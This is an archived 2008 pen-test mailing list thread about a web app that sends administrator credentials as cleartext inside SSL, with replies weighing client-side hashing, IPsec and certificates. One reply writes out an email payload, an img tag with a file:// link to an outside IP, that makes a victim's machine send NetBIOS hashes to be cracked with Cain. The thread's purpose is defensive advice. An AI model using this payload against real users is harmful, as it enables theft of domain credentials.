What if that server is set to only communicate with NTLMv2 response
only?
-----Original Message-----
From: listbounce_at_securityfocus.com [mailto:listbounce_at_securityfocus.com]
On Behalf Of Shenk, Jerry A
Sent: Wednesday, May 21, 2008 3:51 PM
To: jfvanmeter_at_comcast.net; christopher.riley_at_r-it.at
Cc: listbounce_at_securityfocus.com; pen-test_at_securityfocus.com
Subject: RE: username and Password sent as clear text strings
One of the big problems there is everything you just said....an
administrator logged in on a domain server hitting the web. You may
have some bigger issues...what happens if one of those admins happens to
get an e-mail message with a file link in it <img
src=file://123.123.123.123/share/file.gif></img>? that's going to
connect to the server at 123.123.123.123 and send NetBIOS authentication
information. If the server is listening and nothing is blocking the
traffic, then there will be a crackable lanman hash at that server. Let
CAIN chew on it for a couple hours and you'll have an alphanumeric
password....a couple days if symbols are thrown in. And no, this is NOT
a theoretical attack!...it works WAY too well!
-----Original Message-----
From: listbounce_at_securityfocus.com [mailto:listbounce_at_securityfocus.com]
On Behalf Of jfvanmeter_at_comcast.net
Sent: Tuesday, May 20, 2008 4:35 AM
To: christopher.riley_at_r-it.at;
pen-test-return-1078486497_at_securityfocus.com
Cc: listbounce_at_securityfocus.com; pen-test_at_securityfocus.com
Subject: Re: username and Password sent as clear text strings
Thank You Chris, the webapp is not coded by my cleint, its a third party
app, I'll double check I don't think there is a configuration setting to
require the transmitision of the username and password in a encrypted
format.
The problem I'm having with all of this is:
My cleint is currently running this WebApp on all of there WIn2k3 Domain
Controllers and Member Servers. Guess who is logging in.... Domain
Admins.........I just don't want to see a MITM attack or SSL Failure
allow a domain admin account to be compromised.
Since they all log into the same domain, i was going to use a
certificate.
I want to thank everyone that has shared there thoughts so far, I've
learned alot from this exchange of ideas.
Take Care and Have Fun --John
-------------- Original message ----------------------
From: christopher.riley_at_r-it.at
> An IPSEC solution would put extra load on the server and clients for
> encryption of the traffic. It would also possibly cause problems if
the
> users are remote and not part of the domain, as you will need to use
> either a certificate or a PSK (pre-shared key) for the IPSEC. A PSK is
> obviously easier to implement, but weaker than the certificate option.
>
> From my view a simpler option would be to recommend that the webapp
only
> transmits username password in encrytped format across the wire even
when
> SSL is used. Adding another layer of on the wire encryption is just a
> little overkill for something that might or might not be an issue. For
the
> client, it would seem like too much hassle for a low possibility hack.
If
> the SSL is working then nothing on the wire should be visible in clear
> text. If a Man in the Middle attack of SSL failure (see Debian for
> details) occurs, then the important details of the traffic are still
> encrypted using whatever scheme the client decides on.
>
> Chris
>
> listbounce_at_securityfocus.com_at_inet wrote on 17.05.2008 01:52:14:
>
> > What does everyone think of implementing a IPSEC solution to resolve
the
> issue
> > that we've all be talking about. The following are the reason I was
> thinking of IPSEC:
> >
> > SSL was designed for client application-to-server application
> authentication
> > and encryption. IPsec can be used end-to-end
> >
> > I think the best scenario would be to implement both AH and ESP,
> >
> > AH provides data origin authentication and data integrity for the
entire
> IP
> > packet (with the exception of some fields in the IP header that must
> change intransit).
> >
> > ESP provides data confidentiality, data origin authentication, and
data
> > integrity for the IP payload. ESP with encryption uses an encryption
> algorithm
> > (DES or 3DES) to provide data confidentiality, data origin
> authentication, and
> > data integrity for the ESP payload.
> >
> > The reason to implement both AH and ESP is to protect the IP header
> >
> > -------------- Original message ----------------------
> > From: "Arian J. Evans" <arian.evans_at_anachronic.com>
> > > Let me summarize the previous responses and be very clear:
> > >
> > > This is how web applications work. All of them.
> > >
> > > There is no effectively way to "hash or encrypted" the password
> > > via client-side scripting. There are ways to do it, but in a web
> > > application all the code to do this is passed to the client from
> > > the server, making it pointless.
> > >
> > > It is similar to the problem in cryptography of passing the key
> > > with the message, but worse. It's passing the key, algorithm,
> > > comments, and message all together. In this type of environment
> > > it's not possible to do this securely.
> > >
> > > Hence the use of SSL for transport-layer security.
> > >
> > > Now...that said, some folks use SWFs and Adobe Air and such
> > > for trying to encrypt data in transit, especially if they are
using
> > > AMF or some binary protocol, but again since everything has to
> > > be passed to the client it is completely trivial to reverse
engineer.
> > >
> > > So, again, to conclude:
> > >
> > > This is how all web applications on the planet work today by
design.
> > >
> > > You can reply to this if you would like to ask more questions,
> > > but unfortunately the SF pen-test list is one of the only ones
> > > that blocks posts from gmail forwarders so I do not think
> > > that you will see my post on the actual list.
> > >
> > > --
> > > --
> > > Arian J. Evans, software security stuff.
> > >
> > > I spend most of my money on motorcycles, mistresses, and martinis.
The
> > > rest of it I squander.
> > >
> > >
> > > On Wed, May 14, 2008 at 3:39 AM, <jfvanmeter_at_comcast.net> wrote:
> > > > Hello everyone, and I know this might not be the most correct
place
> to post
> > > this questions, but I was hoping to get some feedback on what you
> think the
> > > potential risk would be and how this this could be exploited.
> > > >
> > > > I completed a security review of a web server, that creates a
SSL
> connection
> > > between the cleint and the server. Using WebScarab, I could see
that
> the
> > > username and password are sent as clear text strings. The log in
to
> the server
> > > requires a administrative account.
> > > >
> > > > Do you think there is a large amount of risk, in sending the
> username and
> > > password as a clear text string, since the pipe is encrypted? I
was
> thinking
> > > that a man-in-the-middle or sometype of session hijacking attack
could
> allow
> > > the account to be compromised.
> > > >
> > > > I'm working on completing the report for my client and was
hoping
> to get some
> > > feedback from everyone so I could pose this to them correcly.
> > > >
> > > > Thank you in advance --John
> >
> >
> >
------------------------------------------------------------------------
> > This list is sponsored by: Cenzic
> >
> > Top 5 Common Mistakes
> > in Securing Web Applications
> > Find out now! Get Webinar Recording and PPT Slides
> >
> > www.cenzic.com/landing/securityfocus/hackinar
> >
------------------------------------------------------------------------
> >
>
>
> ----------------------------------------
> Raiffeisen Informatik GmbH, Firmenbuchnr. 88239p, Handelsgericht Wien,
DVR
> 0486809, UID ATU 16351908
>
> Der Austausch von Nachrichten mit oben angefuehrtem Absender via
E-Mail dient
> ausschliesslich Informationszwecken. Rechtsgeschaeftliche Erklaerungen
duerfen
> ueber dieses Medium nicht ausgetauscht werden.
> Correspondence with above mentioned sender via e-mail is only for
information
> purposes. This medium may not be used for exchange of legally-binding
> communications.
> ----------------------------------------
>
>
>
------------------------------------------------------------------------
> This list is sponsored by: Cenzic
>
> Top 5 Common Mistakes
> in Securing Web Applications
> Find out now! Get Webinar Recording and PPT Slides
>
> www.cenzic.com/landing/securityfocus/hackinar
>
------------------------------------------------------------------------
>
------------------------------------------------------------------------
This list is sponsored by: Cenzic
Top 5 Common Mistakes
in Securing Web Applications
Find out now! Get Webinar Recording and PPT Slides
www.cenzic.com/landing/securityfocus/hackinar
------------------------------------------------------------------------
**DISCLAIMER
This e-mail message and any files transmitted with it are intended for
the use of the individual or entity to which they are addressed and may
contain information that is privileged, proprietary and confidential. If
you are not the intended recipient, you may not use, copy or disclose to
anyone the message or any information contained in the message. If you
have received this communication in error, please notify the sender and
delete this e-mail message. The contents do not represent the opinion of
D&E except to the extent that it relates to their official business.
------------------------------------------------------------------------
This list is sponsored by: Cenzic
Top 5 Common Mistakes
in Securing Web Applications
Find out now! Get Webinar Recording and PPT Slides
www.cenzic.com/landing/securityfocus/hackinar
------------------------------------------------------------------------
------------------------------------------------------------------------
This list is sponsored by: Cenzic
Top 5 Common Mistakes
in Securing Web Applications
Find out now! Get Webinar Recording and PPT Slides
www.cenzic.com/landing/securityfocus/hackinar
------------------------------------------------------------------------
Received on May 22 2008
Intro
